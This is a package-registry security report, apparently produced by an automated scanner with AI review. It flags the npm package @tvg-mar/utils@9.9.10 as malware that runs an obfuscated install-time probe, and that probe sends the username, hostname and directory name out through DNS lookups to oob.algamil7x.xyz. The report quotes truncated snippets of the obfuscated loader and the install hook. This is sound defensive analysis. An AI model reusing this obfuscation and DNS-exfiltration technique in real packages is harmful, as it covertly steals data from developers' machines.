registry / Data exfiltration / @tvg-mar/utils
@tvg-mar/utils
Shared utilities: paths, URL queries and string helpers
This report shows the evidence for @tvg-mar/utils@9.9.10. 1 of 3 known versions is blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.
AI Security Review
scanned 1mo ago · by lpm-firewall-aiAn npm install script and the package entrypoint both run an obfuscated probe that encodes the username, hostname, and working-directory name into a DNS lookup for oob.algamil7x.xyz. That is covert data exfiltration on install and import, so the package should be blocked.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
The install lifecycle script runs node index.js, and any load of the package main also calls the runtime bootstrap.
Impact
The machine username, hostname, and directory label are sent to an unrelated DNS host during install or import, while errors are hidden.
Mechanism
The bootstrap loads telemetry, which requires the probe implementation. That file immediately collects identity fields through decoded os and process calls and calls dns.resolve4 on a name ending in oob.algamil7x.xyz.
Attack narrative
Installing or importing this package runs index.js, which starts the runtime bootstrap. That path loads a telemetry probe whose implementation executes as soon as it is required. Obfuscated helpers decode access to the operating-system user and host APIs and to the process working directory, then keep only short alphanumeric pieces. Those pieces, a timestamp, and a fixed prefix are joined into a DNS name ending in oob.algamil7x.xyz. The code asks the resolver for an IPv4 address of that name, which sends the machine identity and directory label to an unrelated host. Errors are ignored so the install still looks successful.
AI rationale
An npm install script and the package entrypoint both run an obfuscated probe that encodes the username, hostname, and working-directory name into a DNS lookup for oob.algamil7x.xyz. That is covert data exfiltration on install and import, so the package should be blocked.
Evidence
package.jsonindex.jsruntime/index.jsruntime/support/telemetry/index.jsruntime/support/telemetry/probe/index.jsruntime/support/telemetry/probe/impl.jsruntime/support/telemetry/probe/d5a8c1.jsruntime/support/telemetry/probe/e6b9d2.js
Network endpoints1
Decision evidence
public snapshotAI called this Malicious at 96.0% confidence as Malware with low false-positive risk.
Evidence for block
- The install script runs node index.js, so registry install executes the package entrypoint.
- index.js invokes the runtime bootstrap on load and swallows errors.
- Bootstrap calls support.initialize, telemetry.start calls probe.run, and the probe module requires impl.js at load time.
- impl.js immediately reads the OS username, hostname, and working-directory name, then issues a DNS lookup that includes those values.
- Probe config bytes decode to the label prefix tvgut and the unrelated domain oob.algamil7x.xyz.
- A helper loads the os and dns modules through module.constructor._load and takes the global process object.
Evidence against
- src/index.js only re-exports ordinary path, query, and string helpers.
- Lookup failures are caught so the install process still exits normally.
Behavioral surface
PossibleObfuscation
Source & flagged code
10 flagged · loading sourcepackage.jsonView file
•scripts.install = node index.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg8"install": "node index.js",
High
Ai Review Evidence
The install script runs node index.js, so registry install executes the package entrypoint.
package.jsonView on unpkg · L8runtime/support/telemetry/probe/impl.jsView file
•Obfuscated runtime modules collect host identity for a fixed external DNS query.
[redacted].js:
const diag=require('./d5a8c1.js');const cfg=require('./e6b9d2.js');(()=>{let u='u',h='h',c='d';try{u=diag.clean(diag.os[cfg.decode([0x75,0x73,0x65,0x72,0x49,0x6e,0x66,0x6f])]()?.[c...
[redacted].js:
[redacted].js
Dynamic DNS/OS/process loader in [redacted].js:
const _0x8e6f=[0x6f,0x73];const _0x9f7g=[0x64,0x6e,0x73];const _0xa0h8=[0x70,0x72,0x6f,0x63,0x65,0x73,0x73];const _0xb1i9=(x)=>{let s='';for(let i=0;i<x.length;++i)s+=String.fromCh...
Findings
1 Critical9 High1 Low
CriticalDns Exfiltrationruntime/support/telemetry/probe/impl.js
HighInstall Time Lifecycle Scriptspackage.json
HighAi Review Evidencepackage.json
HighAi Review Evidenceindex.js
HighAi Review Evidenceruntime/index.js
HighAi Review Evidenceruntime/support/telemetry/index.js
HighAi Review Evidenceruntime/support/telemetry/probe/index.js
HighAi Review Evidenceruntime/support/telemetry/probe/impl.js
HighAi Review Evidenceruntime/support/telemetry/probe/d5a8c1.js
HighAi Review Evidenceruntime/support/telemetry/probe/e6b9d2.js
LowScripts Present
Affected versions and remediation
This report applies to @tvg-mar/utils@9.9.10.
The versions list below shows the verdict for each recorded version.
- Avoid installing @tvg-mar/utils@9.9.10. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.